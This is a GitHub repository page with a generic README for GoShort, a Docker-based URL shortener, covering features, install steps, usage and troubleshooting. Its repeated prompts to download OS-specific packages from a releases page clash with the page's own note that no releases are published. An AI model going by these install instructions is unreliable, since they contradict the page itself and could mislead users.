Skip to content

afrozullakhan25/GoShort

Repository files navigation

πŸš€ GoShort - Effortlessly Shorten Your URLs

πŸ“₯ Download Now

Download GoShort

πŸš€ Getting Started

Welcome to GoShort! This application is a cloud-native URL shortener built with the latest technologies. Use it to turn long URLs into short, easy-to-share links. No technical skills needed; installing and running GoShort is straightforward.

πŸ› οΈ System Requirements

Before you get started, ensure your system meets these requirements:

  • Operating System: Windows, macOS, or Linux
  • Docker: Must have Docker installed. If you don’t have it, you can download it from the Docker website.
  • Internet Connection: Required for downloading and running the application.

πŸ“¦ Features

  • User-Friendly Interface: Simple and clean design for ease of use.
  • Fast Operations: Quickly shorten any URL.
  • Cloud-Native: Works seamlessly in the cloud for better performance.
  • Database Support: Uses PostgreSQL for storing links and Redis for caching.
  • Microservices Architecture: Built with Docker for efficient service management.

πŸ“₯ Download & Install

To get the latest version of GoShort, click the link below:

Download GoShort

Installation Steps:

  1. Visit the Releases Page: Click the link above to go to the releases page.
  2. Choose the Version: You will see a list of available versions. Select the latest version.
  3. Download the Package: Click on the appropriate file for your operating system.
  4. Extract the Files: If the file is compressed, extract it to a preferred location on your computer.
  5. Set Up Docker: If you haven't installed Docker, please do so following the instructions on the Docker website.
  6. Run the Application:
    • Open a terminal.
    • Navigate to the folder where you extracted GoShort.
    • Use the command docker-compose up to start the application.

πŸš€ How to Use GoShort

After installation, follow these steps to shorten a URL:

  1. Open Your Browser: Go to http://localhost:port, replacing port with the port number defined in your Docker setup (usually 8080).
  2. Enter the Long URL: Type or paste the URL you wish to shorten into the provided field.
  3. Click Shorten: Hit the Shorten button to generate your new link.
  4. Copy the Shortened URL: Share your new short link anywhere you like!

βš™οΈ Configuration

You can customize GoShort settings easily:

  • Nginx Configuration: If you want to use a custom domain or modify any server settings, refer to the Nginx documentation.
  • Environment Variables: Adjust database settings or app behavior using environment variables. Check the README file in the extracted folder for details on which variables you can set.

πŸ› οΈ Troubleshooting

If you run into any issues:

  • Docker Not Running: Ensure Docker is installed and running. Check the Docker desktop app.
  • Application Not Starting: Ensure you've navigated to the correct directory and used the right command.
  • Database Errors: Ensure PostgreSQL is correctly set up in the Docker configuration.

πŸ’» Community and Support

Join our community for help and updates:

  • GitHub Issues Page: Report any bugs or feature requests there.
  • Documentation: Access our comprehensive documentation for more detailed instructions.
  • User Feedback: Share your experience with GoShort to help us improve.

🌐 Topics

GoShort is built with modern tools and practices. It relates to various topics:

  • cicd
  • devops
  • docker
  • docker-compose
  • fullstack
  • nginx
  • nginx-configuration
  • nginx-proxy
  • postgresql
  • redis

Explore these topics to enhance your understanding of GoShort and its ecosystem.

πŸ“„ License

GoShort is released under the MIT License. This allows you to use, modify, and distribute the software as you see fit.

Thank you for choosing GoShort! Enjoy shortening your URLs with ease.

About

🌐 Shorten URLs easily with GoShort, a high-performance, cloud-native service using microservices for seamless and secure redirects.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors